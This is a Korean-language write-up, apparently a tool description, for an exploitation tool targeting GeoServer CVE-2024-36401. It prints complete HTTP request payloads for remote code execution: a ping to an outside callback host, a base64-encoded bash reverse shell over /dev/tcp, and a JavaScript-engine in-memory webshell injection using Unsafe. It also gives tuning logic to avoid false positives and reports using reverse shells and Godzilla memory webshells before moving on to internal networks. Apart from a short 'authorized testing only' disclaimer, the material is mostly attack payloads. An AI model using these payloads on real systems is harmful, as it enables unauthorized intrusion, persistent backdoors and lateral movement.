
geoserver CVE-2024-36401 취약점 악용 도구
geoserver CVE-2024-36401 환경: JDK8 고지: 승인된 테스트에만 사용하십시오. 사용자의 오용으로 인한 모든 결과는 작성자와 무관합니다. 법률과 규정을 준수하십시오!
1, 기본 payload:
POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 356
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference> </wfs:GetPropertyValue>
그런데 여기서 주의하세요: <wfs:Query typeNames='sf:archsites'/>
이 부분에서 정규식 방식으로 값을 가져와야 한다면, 이것은 sf:archsites 사이트의 기본 식별자입니다. 먼저 다음 정보를 가져와야 합니다.
wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType> 정보를 가져온 다음, 문자열을 이어 붙이는 방식을 사용할 수 있습니다.
취약점을 판별할 때 wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>
이 부분에서는 사실 DNS 레코드를 조회할 필요조차 없습니다.
간단한 로직은 비정상적인 클래스가 존재하는지 판별하는 것입니다.
예: java.lang.ClassCastException
물론, 이것은 단지 판별 로직일 뿐입니다.
이 응답은 본래 400입니다. 이 부분에서 실수하기 쉽습니다. 오류 페이지를 확인한 후 데이터를 검색해야 합니다.
먼저 다음 요청을 하나 보내야 합니다. <wfs:ListStoredQueries service='WFS'\n" + " version='2.0.0'\n" + " xmlns:wfs='http://www.opengis.net/wfs/2.0'/>
이 정보는 wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType>을(를) 얻을 수 있다는 것을 의미합니다.
그런 다음 텍스트 변수에 직접 할당하고, 함수 메서드를 하나 더 호출하여 텍스트에서 추출한 정보를 파라미터의 <wfs:Query typeNames='sf:archsites'/> 부분에 이어 붙입니다.
이렇게 하면 판별 로직이 상대적으로 정확해집니다. 탐지 클래스는 이렇게 작성하면 됩니다.
<wfs:Query typeNames='sf:archsites'/>만 계속 사용하면 오탐 확률이 매우 높아지고, 해당 sf:archsites를 찾을 수 없다는 메시지가 표시됩니다.
리버스 셸 유형
리버스 셸 payload를 살펴보겠습니다:
POST /geoserver/wfs HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i Content-Type: application/xml Content-Length: 438
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference> </wfs:GetPropertyValue>
여기서 주의할 점:
<wfs:Query typeNames='sf:archsites'/>
마찬가지로, 먼저 정규식으로 값을 추출한 후 이어 붙여야 합니다.
그런 다음 바로 요청합니다.
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx 여기는 base64로 인코딩된 값입니다.
코드를 작성할 때, 사용자가 입력한 bash -i >& /dev/tcp/127.0.0.1/9999 0>&1 을 base64로 변환하면 됩니다.
그런 다음 요청을 보내고, 마찬가지로 핵심 예외 클래스를 찾아 판별 로직을 적용하면 됩니다.
메모리 웹셸 주입 유형 이 부분은 POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 20383
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceeval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),' var str=""; var bt; try { bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str); } catch (e) { bt = java.util.Base64.getDecoder().decode(str); } var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); unsafe = theUnsafe.get(null); unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance(); ')</wfs:valueReference> </wfs:GetPropertyValue>
이 부분에도 역시 <wfs:Query typeNames='sf:archsites'/>가 있습니다. 늘 하던 대로, 먼저 값을 가져옵니다.
star 부분에, 생성한 base64 메모리 웹셸 암호화 코드를 넣습니다.
그런 다음 판별 로직을 적용하면 됩니다.
함정에 빠지기 쉬운 부분 1, <wfs:Query typeNames='sf:archsites'/>를 반복해서 사용하면 오탐 확률이 98%이며, 오류는 다음과 같이 발생합니다:
https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd"> <ows:Exception exceptionCode="InvalidParameterValue" locator="typeName"> ows:ExceptionTextCould not locate {http://www.openplans.org/spearfish}archsites in catalog.<
취약점이 존재하는 경우: <ows:Exception exceptionCode="NoApplicableCode"> ows:ExceptionTextjava.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader 'bootstrap'; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a) class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader 'bootstrap'; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)</ows:ExceptionText> </ows:Exception>
간단히 말하면, 취약점이 존재할 때는 java.lang.ClassCastException이 발생합니다.
오탐은 Could not locate {http://www.openplans.org/spearfish}archsites in catalog 입니다.
2, 판별 방법: 호출된 wfs:ReturnFeatureType>을 가져와 텍스트에 할당합니다. 텍스트가 함수 메서드를 호출하고, 요청에 이어 붙여 요청한 다음, 응답의 예외를 판별합니다.
텍스트가 함수를 호출하는 부분에서는 미리 값을 할당해야 NullPointerException을 방지할 수 있습니다. 요청 전에 이어 붙이고, 응답의 예외를 판별합니다. 예외 내부에서 판별이 이루어집니다.
최종적으로 이 취약점 이용 도구의 작성을 완료했습니다.

취약점을 테스트해 보겠습니다.
도구 실행 결과


참고: 응답(echo)이 없는 것과 취약점 출력이 존재하지 않는 것은 동일합니다. 취약점이 존재하면 '+' 표시가 나타납니다.
취약점을 발견하면 리버스 셸로 연결하여 온라인 테스트를 수행합니다. 연결이 가능하면 내부 네트워크 테스트를 진행합니다.
최적화 과정에서 사용자 정의 메모리 웹셸, 배치 탐지 등의 기능이 추가될 수 있습니다.

취약점이 탐지되어 엔드포인트를 확보했고, 리버스 셸도 성공했습니다.
이제 메모리 웹셸 주입을 시도해 보겠습니다.

메모리 웹셸 주입에 성공한 것으로 표시됩니다. 실제로 연결이 되는지 확인해 보겠습니다.

연결이 가능합니다.
참고: 메모리 웹셸을 테스트하면, This GeoServer instance is running version 2.15.2. For more information please contact the
해당 버전에서는 메모리 웹셸 주입이 성공했습니다.
상위 버전에서는 실패할 수 있습니다.
그 외에는 직접 테스트하시기 바랍니다.

사용자 정의 메모리 웹셸 기능이 추가되었습니다.

ls 테스트와 ping 테스트가 추가되었습니다.
메모리 웹셸 주입 문제를 수정했습니다.
tomcat 및 jetty 식별을 추가했습니다.
Godzilla 메모리 웹셸은 기본적으로 jetty 환경에서 주입됩니다.
사용자 정의 메모리 웹셸은 tomcat 환경을 직접 선택하여 테스트할 수 있습니다.
배치(batch) 버전은 아직 공개되지 않았습니다.